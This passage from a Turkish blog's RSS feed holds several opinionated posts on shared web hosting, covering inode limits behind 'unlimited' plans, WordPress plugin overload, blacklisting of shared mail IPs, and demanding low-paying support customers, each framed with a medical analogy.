<p>Yani aslında müşteriye en fazla 10 GB disk alanı satıyorsunuzdur; ama bunu açıkça söylemek yerine "Sınırsız" diyerek pazarlayıp, müşterinin arkasından dolanıyorsunuzdur.</p>
<hr>
<h3>Müşterinin Çıkış Yolu: Sınırsız Masalını Bırakmak</h3>
<p>Eğer internet üzerinde gerçek bir iş yapıyorsanız, bu ucuz kelime oyunlarına kanmayı bırakmalısınız:</p>
<ol>
<li><strong>Sınırları Net Olan Paketleri Seçin:</strong> "Sınırsız" diyen firmalardan uzak durun. Size <em>"20 GB NVMe Disk, 250.000 Inode Limiti, 2 Core CPU, 4 GB RAM"</em> gibi sınırlarını şeffafça taahhüt eden profesyonel kurumsal hosting sağlayıcılarını tercih edin. Sınırı bilmek, sürprizle karşılaşmaktan bin kat iyidir.</li>
<li><strong>Inode Temizliği Disiplini:</strong> WordPress kullanıyorsanız; haftada bir <code>wp-content/cache</code>, eski log dosyaları ve birikmiş spam e-postaları temizleyen zamanlanmış cron görevleri kurun.</li>
<li><strong>VPS / Bulut Sunucuya Geçiş:</strong> Projeniz 100 binden fazla dosya veya ürün barındıracak büyüklüğe ulaştıysa; paylaşımlı hostingin o dar havuzundan çıkıp kendi Inode limitinizi kendinizin belirlediği bağımsız bir Sanal Sunucuya (VDS / VPS / Cloud Instance) geçme vaktiniz çoktan gelmiştir.</li>
</ol>
<p>Tıpta sınırsız açık büfeye güvenip midesini patlatan insana acınmaz.</p>
<p>Web dünyasında da yıllık 50 liralık pakette "sınırsız diskim var" diye terabaytlarca dosya yükleyebileceğini sanan kişi; gerçek mühendisliğin pazarlama sloganlarıyla değil, dosya sistemlerinin katı matematik kurallarıyla çalıştığını en acı yoldan öğrenecektir. Sınırsız olan tek şey, teknolojideki illüzyonlardır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Hosting</category>
            <category>Linux</category>
            <category>Inode</category>
            <category>cPanel</category>
            <category>SysAdmin</category>
            <category>Web</category>
            <category>Pazarlama Yalanları</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sinirsiz-hosting-sehir-efsanesi-ve-inode-dosya-sayisi-tuzagi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["WordPress Eklenti Çöplüğü": Kırk İki Eklentiyle Sunucuyu Kilitleyen Müşteri]]></title>
            <link>http://localhost:3000/blog/post/wordpress-eklenti-coplugu-kirk-iki-eklentiyle-sunucuyu-kilitleyen-musteri</link>
            <guid>wordpress-eklenti-coplugu-kirk-iki-eklentiyle-sunucuyu-kilitleyen-musteri</guid>
            <pubDate>Sat, 25 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllık elli liralık paylaşımlı hostinge kırk tane korsan eklenti kurup site çökünce "Sunucunuz çok yavaş!" diye bilet açan yerel müşteri profili; tıptaki polifarmasi (aşırı ilaç) zehirlenmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/wordpress-eklenti-coplugu-kirk-iki-eklentiyle-sunucuyu-kilitleyen-musteri/thumbnail" alt=""> Geriatri ve acil dahiliye kliniklerinde hekimlerin en sık karşılaştığı trajikomik vakalardan biri "Polifarmasi" (Polypharmacy / Çoklu ve Kontrolsüz İlaç Zehirlenmesi) tablosudur.</p>
<p>Yetmiş yaşında bir hasta acil servise getirilir; şuuru bulanıktır, gözlerinin akı sararmıştır, karaciğer enzimleri tavana vurmuş, böbrekleri iflas etme noktasına gelmiştir. Hasta yakını feryat eder: <em>"Doktor bey, babamın hiçbir şeyi yoktu, dün akşam yediği hastane yemeği onu bu hale getirdi!"</em></p>
<p>Sonra hastanın cebinden ve komodininden çıkan ilaç torbasını açarsınız:</p>
<ul>
<li>Farklı üç doktorun yazdığı birbirine zıt dört tansiyon ilacı,</li>
<li>Komşunun tavsiye ettiği iki ağır antibiyotik,</li>
<li>İnternetten sipariş edilen ruhsatsız beş çeşit "mucizevi" bitkisel zayıflama tozu,</li>
<li>Üç farklı ağrı kesici ve sayısız vitamin...</li>
</ul>
<p>Hasta günde tam yirmi beş tablet kimyasalı aynı anda yutmuştur! Zavallı karaciğer ve böbrekler o devasa toksik yükün altında ezilmiş, iflas bayrağını çekmiştir. Fakat fatura kime kesilmektedir? Tabii ki o sabah hastanın içtiği çorbaya!</p>
<p>Web hosting sektöründe, teknik destek masalarında ve paylaşımlı sunucu (Shared Hosting) dünyasında da tam olarak bu polifarmasi cehaletini sergileyen, her gün binlerce sistem yöneticisini delirtme noktasına getiren meşhur bir müşteri profili vardır: <strong>Sitenin İçine Kırk İki Adet Eklenti Kurup, Site Çökünce "Sunucunuz Çok Yavaş!" Diye Bilet Açan WordPress Kullanıcısı.</strong></p>
<hr>
<h3>Yıllık Yüz Liralık Pakette Uzay Mekiği Beklentisi</h3>
<p>Hikaye her zaman aynı naiflikle başlar.<br>
Müşteri, Türkiye'deki yerel bir hosting sağlayıcısından en ucuz "Ekonomik Web Hosting" paketini satın alır:<br>
Yıllık maliyet: 150 TL.<br>
Sistem kaynakları (CloudLinux LVE limitleri):</p>
<ul>
<li>1 Core CPU (%100 kullanım hakkı)</li>
<li>1 GB Fiziksel RAM</li>
<li>20 Giriş Süreci (Entry Processes / Eşzamanlı bağlantı)</li>
<li>10 MB/s Disk I/O Limiti</li>
</ul>
<p>Bu paket standart bir HTML web sitesi, hafif bir kurumsal tanıtım sayfası veya doğru optimize edilmiş temiz bir blog için fazlasıyla yeterlidir.</p>
<p>Fakat müşterinin aklında bambaşka bir rüya vardır: Bu 150 liralık paketin üzerinde devasa bir Trendyol, bir Hepsiburada veya uluslararası bir haber portalı kuracaktır!</p>
<p>Ve o meşhur WordPress kurulumu yapılır: <code>wp-admin</code> paneline ilk giriş.</p>
<hr>
<h3>Eklenti Karnavalı: Her Derde Bir Deva</h3>
<p>Müşteri YouTube videolarını izlemeye başlar. <em>"WordPress sitenizi uçuracak 10 eklenti"</em>, <em>"Güvenlik için olmazsa olmaz 5 eklenti"</em>, <em>"SEO'da birinci sıraya çıkaran eklenti..."</em></p>
<p>Ve müşteri kurulacak her eklentiyi cep telefonuna yüklenen hafif bir mobil uygulama zannederek indirmeye başlar:</p>
<ol>
<li><strong>Görsel Şölen:</strong> Sayfanın tepesine döne döne gelen devasa animasyonlu slaytlar için <code>Revolution Slider</code> (tek başına 80 MB JavaScript ve CSS!).</li>
<li><strong>SEO Çakışması:</strong> Yetmez; hem <code>Yoast SEO</code> kurar, hem de <em>"Belki bu daha iyidir"</em> diyerek yanına <code>Rank Math</code> kurar! İki devasa SEO motoru aynı veritabanı tablolarını taramak için birbirini boğazlamaya başlar.</li>
<li><strong>Güvenlik Paranoyası:</strong> Siteye hackerlar saldırmasın diye aynı anda <code>Wordfence Security</code>, <code>iThemes Security</code> ve <code>All In One WP Security</code> kurar! Üç eklenti de her gelen HTTP isteğinde sunucunun IP tablosunu tarayıp diske log yazmaya başlar.</li>
<li><strong>Sosyal Medya ve Çerçöp:</strong> Canlı destek butonu, WhatsApp sohbet balonu, Instagram canlı akışı, uçuşan kar taneleri eklentisi, ziyaretçi sayacı, PDF görüntüleyici, pop-up yöneticisi...</li>
<li><strong>Ve Ölüm Vuruşu: Nulled (Korsan) Tema!</strong> İnternette 60 dolara satılan popüler bir e-ticaret temasının Rus forumlarından indirilmiş "korsan / kırılmış" (nulled) versiyonunu sisteme yükler. O temanın PHP dosyalarının içine hackerlar tarafından gizlenmiş olan "base64" şifreli spam botları ve arka kapılar sunucunun derinliklerine sessizce yerleşir.</li>
</ol>
<p>Aktif eklenti sayısı: <strong>Tam 42 ADET!</strong></p>
<hr>
<h3>Sahne Arkasındaki Katliam: Tek Tıkta 400 SQL Sorgusu</h3>
<p>Sıradan bir ziyaretçi o sitenin ana sayfasına girmek için tarayıcısının adres çubuğuna basar: <code>enter</code>.</p>
<p>Tarayıcı masum bir <code>GET /</code> isteği gönderir.<br>
Peki sunucunun arkasında, o Linux çekirdeğinde ne yaşanır biliyor musunuz?</p>
<ol>
<li>WordPress çekirdeği ayağa kalkar. O 42 eklentinin her biri kendi <code>init</code> ve <code>wp_loaded</code> kancalarını (hook) çalıştırmaya başlar.</li>
<li>Nulled temanın içindeki bozuk kodlar, veritabanına sadece ana sayfayı gösterebilmek için <strong>tam 380 adet karmaşık SQL sorgusu (JOIN query)</strong> fırlatır!</li>
<li>Sunucunun MySQL veritabanı motoru nefes alamaz hale gelir.</li>
<li>Tek bir sayfa yüklemesi için tüketilen PHP bellek miktarı (memory_limit) aniden <strong>350 Megabayta</strong> fırlar!</li>
<li>Disk I/O limiti saniyeler içinde 10 MB/s sınırına toslar.</li>
</ol>
<p>Ve CloudLinux'un adil kaynak yöneticisi (LVE - Lightweight Virtual Environment) durumu fark eder:<br>
<em>"Hop birader! Sen 150 liralık pakettesin ama şu an tüm sunucunun işlemcisini tek başına sömürüyorsun!"</em></p>
<p>LVE hemen devreye girer ve hesabı kısıtlar (throttling):<br>
Ekranda o meşhur, kaçınılmaz hata belirir:<br>
<code>HTTP 508 Resource Limit Is Reached</code><br>
<code>The website is temporarily unable to service your request as it exceeded resource limits.</code></p>
<p>Site küt diye yere çakılır.</p>
<hr>
<h3>Destek Biletindeki Hakaret Fırtınası</h3>
<p>Ve iki dakika sonra hosting firmasının destek sistemine büyük harflerle, ünlem işaretleriyle dolu o meşhur bilet (ticket) düşer:</p>
<blockquote>
<p><strong>Konu:</strong> REZALET BİR FİRMASINIZ! SİTEM AÇILMIYOR!<br>
<strong>Mesaj:</strong> <em>"Kardeşim siz ne biçim firmasınız? Ben Google'a binlerce lira reklam verdim, sitem '508 Resource Limit' hatası veriyor! Sunucularınız leş gibi, altyapınız çöp! İki dakikada bir çöküyor. Derhal sitemi açın yoksa sizi mahkemeye vereceğim, Şikayetvar'a yazacağım!"</em></p>
</blockquote>
<p>Destek masasındaki kıdemli sistemci derin bir nefes alır. Müşterinin cPanel hesabına girer, hata loglarına (<code>error_log</code>) bakar.<br>
Manzara bir kurumsal cinayet mahallidir:</p>
<ul>
<li>Dosya boyutu 4 Gigabayta ulaşmış devasa bir <code>error_log</code> dosyası!</li>
<li>Her saniye yüzlerce satır PHP Fatal Warning: <code>Undefined variable</code>, <code>Function deprecated</code>, <code>Division by zero</code>...</li>
<li>42 aktif eklenti, 8 tanesi beş yıldır güncelleme almamış terk edilmiş eklentiler.</li>
<li>Nulled temadan dolayı arka planda saatte 10.000 adet Rusça spam mail basmaya çalışan bir zombi süreci!</li>
</ul>
<p>Destek personeli kibarca yazar:<br>
<em>"Sayın müşterimiz, hesabınızda 42 adet eklenti bulunmaktadır ve veritabanı sorgularınız tahsis edilen 1 Core CPU limitini aşmaktadır. Lütfen kullanmadığınız eklentileri kaldırıp temanızı optimize edin."</em></p>
<p>Müşterinin yanıtı değişmez:<br>
<em>"Ne alakası var kardeşim? Benim bilgisayarımda bu site çalışıyordu! Suçu eklentiye atmayın, sunucunuzu güçlendirin!"</em></p>
<hr>
<h3>Çöplüğü İnşa Eden Faturayı Başkasına Kesemez</h3>
<p>Bir web sitesi sahibi olmak sadece fareyle eklenti kurcalamak değildir; üzerinde çalıştığınız mimarinin sınırlarına saygı duymaktır.</p>
<ul>
<li><strong>Eklenti Sayısı Değil, Kalitesi:</strong> Bir sitede 30 iyi yazılmış, hafif eklenti sorunsuz çalışabilir; ama tek bir kötü yazılmış, veritabanını kilitleyen eklenti tüm sunucuyu felç eder.</li>
<li><strong>Her Eklenti Yeni Bir Güvenlik Deliğidir:</strong> Kurduğunuz her eklenti, sitenizin kapısına eklediğiniz yeni bir anahtar deliğidir. Kırk eklenti kurmak, kalenizin surlarında kırk adet açık gedik bırakmaktır.</li>
<li><strong>Nulled Yazılım İntihardır:</strong> 50 dolar tasarruf etmek için korsan tema kullananlar, sitelerinin bir zombi botnete dönüştürülmesini ve Google'ın karalistesine alınmasını peşinen kabul etmiş demektir.</li>
</ul>
<p>Tıpta günde yirmi beş ilaç yutup midesini patlatan hasta suçu hastane çorbasına atamaz.</p>
<p>Web dünyasında da sitenizin içine devasa bir eklenti çöplüğü inşa edip, sonra o çöplük kokmaya başladığında faturayı hosting firmasının sunucusuna kesemezsiniz.</p>
<p>Önce kendi kodunuzu ve çöplüğünüzü temizleyin; çünkü en güçlü süper bilgisayar bile, kötü yazılmış bir kodun ve tembel bir aklın yükünü sonsuza kadar taşıyamaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>WordPress</category>
            <category>Hosting</category>
            <category>cPanel</category>
            <category>CloudLinux</category>
            <category>Optimizasyon</category>
            <category>SysAdmin</category>
            <category>Müşteri İlişkileri</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/wordpress-eklenti-coplugu-kirk-iki-eklentiyle-sunucuyu-kilitleyen-musteri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Outgoing Mail ve "IP Karaliste" Savaşları: Komşunun Virüsüyle Gelen Karantina]]></title>
            <link>http://localhost:3000/blog/post/outgoing-mail-ve-ip-karaliste-savaslari-komsunun-virusuyle-gelen-karantina</link>
            <guid>outgoing-mail-ve-ip-karaliste-savaslari-komsunun-virusuyle-gelen-karantina</guid>
            <pubDate>Fri, 24 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Paylaşımlı sunucudaki tek bir virüslü hesabın Spamhaus ve Gmail karalistesine soktuğu ortak IP; masum beş yüz şirketin geri dönen e-postaları (bounceback) ve nozokomiyal enfeksiyon trajedisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/outgoing-mail-ve-ip-karaliste-savaslari-komsunun-virusuyle-gelen-karantina/thumbnail" alt=""> Epidemiyoloji ve enfeksiyon hastalıkları kliniklerinde hekimlerin en çok korktuğu senaryo "Nozokomiyal Enfeksiyon", yani halk arasındaki adıyla <strong>Hastane Enfeksiyonu</strong> salgınlarıdır.</p>
<p>On iki hastanın yan yana yattığı geniş bir cerrahi servisi düşünün. Hastalardan biri basit bir apandisit ameliyatı olmuştur, diğeri fıtık operasyonu geçirmiştir; hepsi iyileşme sürecindedir. Fakat koğuştaki hastalardan biri dışarıdan getirdiği kirli bir temasla veya tuvaletten çok dirençli bir süper mikrobu —örneğin <em>Metisilin Dirençli Staphylococcus Aureus</em> (MRSA)— kapar.</p>
<p>Eğer servis personeli ve o hasta izolasyon kurallarına milimetrik olarak uymazsa; o tek bir hastanın taşıdığı dirençli bakteri havadan, kapı kollarından ve serum askılarından diğer on bir masum hastanın açık yaralarına sıçrar!</p>
<p>Birkaç gün içinde tüm koğuş karantinaya alınır. Ameliyatı mükemmel geçmiş o masum insanların yaraları alev gibi iltihaplanır, taburculuklar iptal edilir, hastane yönetimi kırmızı alarm verir. Tek bir dikkatsiz yatak komşusunun taşıdığı mikrop, tüm koğuşun hayatını rehin almıştır.</p>
<p>Web hosting dünyasında, kurumsal e-posta altyapılarında ve paylaşımlı sunucularda (Shared Web Hosting) her gün binlerce şirketin işini felç eden, tam olarak bu koğuş enfeksiyonu gibi çalışan görünmez bir felaket vardır: <strong>Sunucunun Ortak IP Adresinin Spamhaus veya Gmail Karalistesine (RBL Blacklist) Düşmesi.</strong></p>
<hr>
<h3>Paylaşımlı Apartman: Aynı IP'yi Paylaşan 500 Yabancı</h3>
<p>Geleneksel paylaşımlı hosting mimarisinde (cPanel, DirectAdmin, Plesk vb.) yüzlerce bağımsız web sitesi tek bir güçlü fiziksel sunucunun içinde barınır.</p>
<p>Bu sunucunun üzerinde ne vardır?</p>
<ul>
<li>Bir tekstil ihracatçısının kurumsal e-postaları,</li>
<li>Bir hukuk bürosunun müvekkil sözleşmeleri,</li>
<li>Bir diş kliniğinin randevu bildirimleri,</li>
<li>Ve yan komşu olarak: Ayakkabı satışı yapan küçük bir e-ticaret sitesi.</li>
</ul>
<p>Bu 500 farklı şirketin dış dünyaya açılan tek bir ortak kapısı vardır: <strong>Sunucunun Ana Dış IP Adresi (Örn: <code>185.120.x.x</code>).</strong></p>
<p>Dünyadaki tüm e-posta alıcıları (Gmail, Microsoft Outlook, Yahoo, kurumsal mail gateway'leri); o sunucudan giden e-postanın hangi müşteriye ait olduğuna bakmaz. E-posta sunucusunun SMTP el sıkışmasındaki o ortak IP adresinin itibarına (IP Reputation) bakar.</p>
<p>Ve bir perşembe gecesi, o ayakkabı sitesinin sekreteri bilgisayarına korsan bir fatura yazılımı veya virüslü bir PDF eki indirir.</p>
<hr>
<h3>Gece Yarısı Spam Fırtınası: Saatte Elli Bin Sahte Mail</h3>
<p>Sekreterin bilgisayarına sızan zararlı yazılım, şirketin e-posta şifresini çalar.<br>
Ya da daha kötüsü: WordPress sitelerindeki güncellenmeyen eski bir eklentinin açığından içeri sızan bir saldırgan, sunucunun PHP <code>mail()</code> fonksiyonunu ele geçirir.</p>
<p>Saat gece 02:30.<br>
Saldırganlar sunucunun Exim veya Postfix posta kuyruğuna (mail queue) aniden asılır:<br>
Saniyede yüzlerce, saatte <strong>tam 50.000 adet</strong> phishing ve dolandırıcılık e-postası basılmaya başlar:<br>
<em>"Tebrikler 1 Milyon Dolar Kazandınız!"</em>, <em>"Banka hesabınız askıya alındı, hemen tıklayın..."</em></p>
<p>Sunucunun giden posta kuyruğu bir anda şişer.<br>
Ve dünyanın önde gelen anti-spam otoritelerinin (Spamhaus, Barracuda, SpamCop, SORBS) otomatik radar sistemleri kırmızı alarm verir:<br>
<code>IP 185.120.x.x IS SENDING MASSIVE SPAM - REPUTATION DROPPED TO ZERO.</code></p>
<p>Spamhaus kararını verir: O IP adresi dünya genelinde <strong>"SBL / XBL Karalistesine"</strong> alınır.</p>
<hr>
<h3>Sabah Gelen Çöküş: "Mailim Karşıya Gitmiyor!"</h3>
<p>Cuma sabahı saat 09:00.<br>
O sunucuda barınan masum tekstil ihracatçısı, Almanya'daki müşterisine 500 bin Euro'luk kritik bir kumaş teklifi ve sözleşme e-postası gönderir.<br>
E-postanın gönder butonuna basar.</p>
<p>İki dakika sonra gelen kutusuna o soğuk, teknik, insanın midesini bulandıran otomatik sistem mesajı düşer:<br>
<strong>"Mail Delivery Failed: Returning message to sender (Bounceback)."</strong></p>
<p>Hata detayını açar:<br>
<code>550 5.7.1 Service unavailable; Client host [185.120.x.x] blocked using Spamhaus SBL-XBL; High volume of spam detected.</code><br>
<code>Remote server: mx.kundenserver.de rejected your message.</code></p>
<p>Tekstilci şok içindedir. Hukuk bürosu adliyeye dilekçe atamaz, doktor hastasına tahlil sonucunu iletemez, fabrikalar sipariş onaylarını alamaz!</p>
<p>O sunucudaki 500 masum şirketin dünyayla olan e-posta iletişimi tek bir saniyede bıçak gibi kesilmiştir!<br>
Hiçbirinin hiçbir suçu yoktur; hiçbiri spam atmamıştır.<br>
Fakat aynı koğuşta yattıkları o dikkatsiz komşunun kaptığı virüs yüzünden, uluslararası anti-spam sistemleri o IP adresinin üzerindeki herkesi toptan "vebalı" ilan etmiştir.</p>
<hr>
<h3>Karaliste Çıkarma Bürokrasisi (Delisting İşkencesi)</h3>
<p>Hosting firmasının teknik destek masasına aynı anda 200 adet acil bilet (ticket) düşer:<br>
<em>"Maillerimiz gitmiyor, şirket felç oldu, iflas ediyoruz!"</em></p>
<p>Sistem yöneticisi panikle sunucuya SSH ile bağlanır:</p>
<ol>
<li><code>exim -bpc</code> komutunu çalıştırır: Posta kuyruğunda bekleyen 80.000 adet spam mail görür!</li>
<li><code>exiqgrep -i</code> ile spam basan hesabı bulur, o hesabın şifresini kilitler, kuyruğu temizler.</li>
<li>Kötü huylu PHP scriptini sunucudan siler.</li>
</ol>
<p>Bitti mi?<br>
Hayır, asıl çile şimdi başlar: <strong>Karalisteden Çıkma Bürokrasisi.</strong></p>
<p>Spamhaus'un web sitesine girersiniz: <em>"Spam kaynağını temizledik, lütfen IP adresimizi listeden çıkarın."</em><br>
Form doldurursunuz. Spamhaus'un katı mühendisleri logları inceler; onay vermeleri 4 ila 24 saat sürer.<br>
Microsoft (Hotmail/Outlook) SNDS sistemine bilet açarsınız; yapay zeka botları reddeder, üçüncü kez itiraz edersiniz.<br>
Gmail'in yapay zeka itibar algoritmasının o IP adresini tekrar "güvenli" kabul etmesi bazen <strong>günler, hatta haftalar</strong> sürer!</p>
<p>O geçen her saatte, o sunucudaki masum şirketler yüz binlerce liralık iş kaybeder.</p>
<hr>
<h3>Ortak Havuzdan Kurtuluş Yolları</h3>
<p>Paylaşımlı hostingde barınıp e-postaları hayati önem taşıyan bir şirketseniz; komşunuzun ahlakına ve güvenliğine bel bağlayamazsınız.</p>
<p>Bu karaliste mayın tarlasından sağ çıkmanın modern yolları şunlardır:</p>
<ol>
<li><strong>Özel Statik IP (Dedicated IP) Satın Almak:</strong> Web sitenizi paylaşımlı sunucuda tutsanız bile; e-postalarınızın çıktığı IP adresini sadece kendi şirketinize özel tahsis ettirin. Böylece komşunuz spam atsa bile onun IP'si kirlenir, sizin özel IP'niz tertemiz kalır.</li>
<li><strong>Harici Kurumsal E-Posta Servislerine Geçmek (SaaS):</strong> Şirket e-postalarını web hosting sunucusunda tutmak 2000'lerin başında kalmış ilkel bir alışkanlıktır! E-posta trafiğinizi Google Workspace (Gmail), Microsoft 365 veya Zoho gibi devasa altyapılara taşıyın. Bu devlerin IP adresleri asla sıradan bir spam yüzünden engellenmez.</li>
<li><strong>Akıllı Giden Posta Filtreleri (Outgoing Spam Filter):</strong> Hosting firmaları giden posta trafiğini doğrudan sunucudan çıkarmamalı; MailChannels veya SpamExperts gibi giden postayı anlık tarayan filtre ağ geçitlerine (relay) yönlendirmelidir. Bu filtreler anormal bir spam sezdiği an o tek hesabı durdurur ve ana IP'nin lekelenmesini engeller.</li>
<li><strong>SPF, DKIM ve DMARC Kayıtlarını Kusursuz Yapmak:</strong> Alan adınızın DNS kayıtlarına kimlik doğrulama imzalarını ekleyerek e-postalarınızın güvenilirlik skorunu yüksek tutun.</li>
</ol>
<p>Tıpta steril hastayı enfeksiyon koğuşuna yatıran hekim suç işler.</p>
<p>İş dünyasında da milyon liralık şirketinizin kurumsal iletişimini yıllık 50 liralık paylaşımlı bir sunucunun rastgele komşularına emanet etmek affedilemez bir yönetim körlüğüdür. İtibarınızı ortak havuzda kumara yatırmayın; e-postanızı izole edin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Posta</category>
            <category>Spamhaus</category>
            <category>RBL</category>
            <category>Blacklist</category>
            <category>Hosting</category>
            <category>SysAdmin</category>
            <category>Ağ Güvenliği</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/outgoing-mail-ve-ip-karaliste-savaslari-komsunun-virusuyle-gelen-karantina/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["On Dakikada Bir Ticket Açan" Elli Liralık Müşteri: Yeşil Alan Triyajı İronisi]]></title>
            <link>http://localhost:3000/blog/post/on-dakikada-bir-ticket-acan-elli-liralik-musteri-yesil-alan-triyaji-ironisi</link>
            <guid>on-dakikada-bir-ticket-acan-elli-liralik-musteri-yesil-alan-triyaji-ironisi</guid>
            <pubDate>Thu, 23 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllık yüz bin lira ödeyen kurumsal müşterinin sessizliği ile yıllık elli liralık paket alan kullanıcının her on dakikada bir destek masasını rehin alması; acil servis triyajındaki yeşil alan şımarıklığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/on-dakikada-bir-ticket-acan-elli-liralik-musteri-yesil-alan-triyaji-ironisi/thumbnail" alt=""> Acil servislerin kapısında durup insan davranışlarını gözlemleyen herhangi bir hekim veya sağlık personeli, insan psikolojisinin en çarpıcı sosyolojik paradokslarından birini ezbere bilir: <strong>Acil Servis Triyajındaki Yeşil Alan İronisi.</strong></p>
<p>Sedyeyle içeriye kırmızı alana (Kırmızı Kod) alınmış bir hasta düşünün. Göğüs kafesi ezilmiştir, aort diseksiyonu geçirmektedir veya kafatası travması vardır. Bu hastalar veya onların yoğun bakım kapısında bekleyen yakınları genellikle inanılmaz bir tevekkül, derin bir sessizlik ve ağırbaşlı bir saygıyla beklerler. Hekimin elini tutar, <em>"Hocam hakkınızı helal edin, Allah razı olsun"</em> derler. Gerçek acı ve gerçek ciddiyet daima sessizdir.</p>
<p>Şimdi gözlerinizi acil servisin girişindeki "Yeşil Alan" (basit şikayetler) koridoruna çevirin:<br>
Parmağı üç gün önce kapıya hafifçe sıkışmış, tırnağının kenarı hafifçe kızarmış bir vatandaş sıranın kendisine gelmesi için 15 dakika beklediğinde koridoru inletmeye başlar:<br>
<em>"Nerede bu doktorlar? İki saattir burada acıdan ölüyorum! Benim vergimle maaş alıyorsunuz, hepinizi CİMER'e şikayet edeceğim, Sağlık Bakanlığı'nı arayacağım!"</em></p>
<p>Tıbbın değişmez kanunudur: <strong>Vakanın ciddiyeti ve hayati değeri azaldıkça; kişinin sergilediği kibir, sabırsızlık ve şımarıklık katlanarak artar.</strong></p>
<p>Bilişim sektöründe, web hosting firmalarında ve SaaS teknik destek masalarında da her gün yüzlerce destek mühendisinin sabrını sınayan, tam olarak bu yeşil alan şımarıklığını kopyalayan meşhur bir sektör klasiği vardır: <strong>Yıllık 50 Liralık Paket Alıp, 10 Dakikada Bir Bilet (Ticket) Açarak Şirketi Rehin Alan Müşteri Paradoksu.</strong></p>
<hr>
<h3>İki Fatura, İki Farklı Gezegen</h3>
<p>Her kurumsal hosting ve bulut sağlayıcısının müşteri portföyünde iki zıt kutup yan yana yaşar:</p>
<h4>1. Kutup: Yıllık 100.000 TL Ödeyen Kurumsal Müşteri</h4>
<p>Şirketin kendi sistem mimarları ve DevOps mühendisleri vardır. Veri merkezinden 4 adet kiralık dedicated sunucu ve 10G uplink kiralamışlardır.<br>
Bu müşteri yılda en fazla <strong>bir veya iki kez</strong> bilet açar.<br>
Açtığı biletin içeriği şudur:</p>
<blockquote>
<p><em>"Merhaba, Kabin 14'teki SW-01 omurga switch'imizde saat 03:12'de kısa süreli bir CRC artışı gözlemledik. Port loglarını inceleyebilir misiniz? Teşekkür ederiz, iyi çalışmalar."</em></p>
</blockquote>
<p>Konuyu bilir, ne istediğini bilir, teknik dili konuşur ve sistemcilerin zamanına saygı duyar.</p>
<h4>2. Kutup: Yıllık 50 TL Ödeyen "Süper Patron"</h4>
<p>Kampanyadan ayda 4 liraya (bir bardak çay parası!) "Ekonomik Öğrenci Hosting" paketi almıştır.<br>
Alan adı: <code>bedava-para-kazanma-yollari.com</code>.<br>
İçeride çalışan sistem: İnternetten indirilmiş kırık bir script.</p>
<p>İşte bu müşteri, o 50 liralık faturayı ödediği o kutsal saniyeden itibaren; hosting firmasının yönetim kurulu başkanı dahil tüm yazılım, sistem ve ağ ekibini kendi kişisel kölesi olarak satın aldığını zanneder!</p>
<hr>
<h3>Bir Günün Kronolojisi: 10 Dakikada Bir Gelen Bilet Yağmuru</h3>
<p>Saat 10:00'da başlayan ve mesai bitimine kadar süren o ibretlik bilet trafiği genellikle şu sıra dışı ritimle akar:</p>
<p><strong>10:14 - Bilet 1:</strong></p>
<blockquote>
<p><em>"Domaini aldım site açılmıyor dolandırıcı mısınız siz?!"</em><br>
<em>(Destek yanıtı: "Sayın müşterimiz, alan adınızı 5 dakika önce tescil ettiniz. DNS yayılımı (propagation) küresel olarak 2 ila 24 saat sürebilmektedir.")</em></p>
</blockquote>
<p><strong>10:28 - Bilet 2:</strong></p>
<blockquote>
<p><em>"DNS bekleyemem benim acil müşterim var hemen hızlandırın bunu!"</em><br>
<em>(Destek yanıtı: "DNS protokolü küresel bir internet standardıdır, manuel olarak hızlandırılamaz.")</em></p>
</blockquote>
<p><strong>11:05 - Bilet 3:</strong></p>
<blockquote>
<p><em>"WordPress kurdum ama temam bozuk çıktı. Menü yukarıda durmuyor. Şifremi veriyorum girip menüyü sağ tarafa alın logomu da ortalayın."</em><br>
<em>(Destek yanıtı: "Sayın müşterimiz, firmamız unmanaged (yönetilmeyen) altyapı hizmeti sağlamaktadır. Web tasarımı ve tema kodlaması müşterinin sorumluluğundadır.")</em></p>
</blockquote>
<p><strong>11:18 - Bilet 4:</strong></p>
<blockquote>
<p><em>"Ben kodlama bilsem size niye para vereyim?! Hizmet sektöründe müşteri velinimettir, iki dakikalık logoyu koyamıyorsanız ne iş yapıyorsunuz siz orada?!"</em></p>
</blockquote>
<p><strong>13:40 - Bilet 5:</strong></p>
<blockquote>
<p><em>"Telefonuma Outlook kuramadım. Telefon numaram: 0532... Beni acil cepten arayın AnyDesk ile bilgisayarıma bağlanıp maillerimi kurun!"</em></p>
</blockquote>
<p><strong>14:02 - Bilet 6 (Cevap gecikince):</strong></p>
<blockquote>
<p><em>"Yarım saattir cevap vermiyorsunuz! Tüketici Hakem Heyetine verildiniz! Avukatıma talimat verdim yarın sabah şirketinize haciz göndereceğim!"</em></p>
</blockquote>
<hr>
<h3>"Managed Service" İllüzyonu ve Değersizliğin Kibri</h3>
<p>Bu müşterinin kafasındaki temel arıza, satın aldığı şeyin mahiyetini anlayamamış olmasıdır.</p>
<p>Dünya genelinde iki temel bilişim hizmet modeli vardır:</p>
<ol>
<li><strong>Unmanaged Hosting (Yönetilmeyen Altyapı):</strong> Firma size sadece çalışan bir donanım, elektrik, internet ve temiz bir işletim sistemi alanı tahsis eder. İçine ne kuracağınız, sitenizi nasıl yapacağınız, e-postanızı telefonunuza nasıl tanımlayacağınız tamamen sizin sorumluluğunuzdadır. Fiyatı bu yüzden yıllık 50 liradır.</li>
